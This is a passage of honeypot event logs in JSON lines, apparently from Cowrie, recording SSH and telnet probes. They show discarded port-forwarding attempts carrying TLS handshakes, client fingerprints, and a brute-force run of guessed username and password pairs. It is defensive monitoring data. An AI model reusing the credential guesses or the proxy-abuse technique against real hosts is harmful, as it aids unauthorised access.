W,\\xbd]LO\\xd2\\xbe-\\xb6\\x01\\x88\\xba\\xb3\\xc2\\x8e\\xb3\\xe1\\x96kIl\\xb6\\xfa\\xccf\\xca\\xfdcx\\xd2\\x06\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":3,"message":"discarded direct-tcp forward request 3 to 142.251.152.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-LG\\xda\\xfd\\x12\\\\\\xe4\\x0e\\xb8\\xea\\x95\\x12\\xe2\\x99!P\\x9cv\\xaaI\\xea\\x95\\xa0.\\xff\\xa17{\\xc5\\xdf\\x00 \\x16Ru\\xce\\x1e\\nzE6\\xf2\\xe8}t\\x19\\xee\\xed\\xdb\\xab\\xa7\\xae\\x84\\x0c~\\x06\\x90?Z\\xda\\x8cu\\x84\\x0f\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 W,\\xbd]LO\\xd2\\xbe-\\xb6\\x01\\x88\\xba\\xb3\\xc2\\x8e\\xb3\\xe1\\x96kIl\\xb6\\xfa\\xccf\\xca\\xfdcx\\xd2\\x06\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:49.023129Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":41414,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:41414","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:49.268575Z","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:50.613038Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032\\xdc]\\x0b\\xad&A\\xfbA\\xd0\\x95\\xae\\x89\\xc8\\x9eh\\xa9\\xd1\\x93;\\xe0\\xa2\\xde3\\x13\\xb7-\\xf0\\xc3\\xd95J s\\xc9^\\x18\\x08`T\\x11\\x00\\xc8 \\x86\\x98\\xac\\x17e\\x8b\\xb5\\xf6\\xf8\"\\x1c\\x10;CRF\\xa7\\xc9\\x95\\xc3\\xae\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x13<?@Fl\\xa0<\\xa7d7\\rE\\x16\\xa3\\xd1\\xbf\\xddH\\xa1\\xb4\\xb7\\xf03!\\xf7~\\xb0=\\x9d\\x1eS\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 184.24.145.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032\\xdc]\\x0b\\xad&A\\xfbA\\xd0\\x95\\xae\\x89\\xc8\\x9eh\\xa9\\xd1\\x93;\\xe0\\xa2\\xde3\\x13\\xb7-\\xf0\\xc3\\xd95J s\\xc9^\\x18\\x08`T\\x11\\x00\\xc8 \\x86\\x98\\xac\\x17e\\x8b\\xb5\\xf6\\xf8\"\\x1c\\x10;CRF\\xa7\\xc9\\x95\\xc3\\xae\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x13<?@Fl\\xa0<\\xa7d7\\rE\\x16\\xa3\\xd1\\xbf\\xddH\\xa1\\xb4\\xb7\\xf03!\\xf7~\\xb0=\\x9d\\x1eS\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:50.616191Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.154.119","dst_port":443,"src_ip":"77.90.185.17","src_port":42742,"message":"direct-tcp connection request to 142.251.154.119:443 from 127.0.0.1:42742","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:50.891472Z","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.154.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.154.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:51.497510Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.154.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdbH;\\xfd\\x88Ap\\xf2fO\\xf60\\x87\\xbd\\xd3\\xe6\\xba#^\\xdb\\x8c\\x8b\\xe7\\x99\\xf5\\xba\\xcc\\x9f\\xf7\\xb2\\x05\\xd1 \\xb6}\\x84\\x12=\\xfd}GU\\x16:s\\xf5.|/g\\xdf\\xd5\\xa0\\x11Y\\\\\\xa2\\x16\\x00\\x04\\xcd;H\\\\\\xad\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe5\\x9eL,\\xa6\\xde\\x8af\\xb8o\\x87\\x1f]\\x1a\\x07\\xbbMe\\xebL\\x07\\x8cbd\\x84\\x92\\xb5\\xc9\\x08{\\xd4l\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":5,"message":"discarded direct-tcp forward request 5 to 142.251.154.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdbH;\\xfd\\x88Ap\\xf2fO\\xf60\\x87\\xbd\\xd3\\xe6\\xba#^\\xdb\\x8c\\x8b\\xe7\\x99\\xf5\\xba\\xcc\\x9f\\xf7\\xb2\\x05\\xd1 \\xb6}\\x84\\x12=\\xfd}GU\\x16:s\\xf5.|/g\\xdf\\xd5\\xa0\\x11Y\\\\\\xa2\\x16\\x00\\x04\\xcd;H\\\\\\xad\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe5\\x9eL,\\xa6\\xde\\x8af\\xb8o\\x87\\x1f]\\x1a\\x07\\xbbMe\\xebL\\x07\\x8cbd\\x84\\x92\\xb5\\xc9\\x08{\\xd4l\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:51.501007Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:51.749243Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40832,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eacb9ff8444","protocol":"ssh","message":"New connection: 2.57.121.25:40832 (10.17.0.5:22) [session: 4eacb9ff8444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:19.050630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:19.054911Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:19.154150Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"parsons","message":"login attempt [user/parsons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:19.625552Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"paranoia","message":"login attempt [user/paranoia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:20.727707Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"papapa","message":"login attempt [user/papapa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:21.829566Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ozzie","message":"login attempt [user/ozzie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:22.931376Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"outlaws","message":"login attempt [user/outlaws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:24.033849Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:59:25.136371Z","src_ip":"2.57.121.25","session":"4eacb9ff8444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.204","src_port":52196,"dst_ip":"10.17.0.5","dst_port":22,"session":"91a8b05a2ee3","protocol":"ssh","message":"New connection: 14.103.127.204:52196 (10.17.0.5:22) [session: 91a8b05a2ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:14.327435Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.127.187.151","src_port":57385,"dst_ip":"159.203.135.109","dst_port":23,"session":"931743b3aec7","protocol":"telnet","message":"New connection: 59.127.187.151:57385 (159.203.135.109:23) [session: 931743b3aec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:21.118120Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":45622,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5034831a44","protocol":"ssh","message":"New connection: 85.198.97.85:45622 (159.203.135.109:22) [session: cd5034831a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:43.864474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:00:43.868919Z","src_ip":"85.198.97.85","session":"cd5034831a44","protocol":"ssh"}
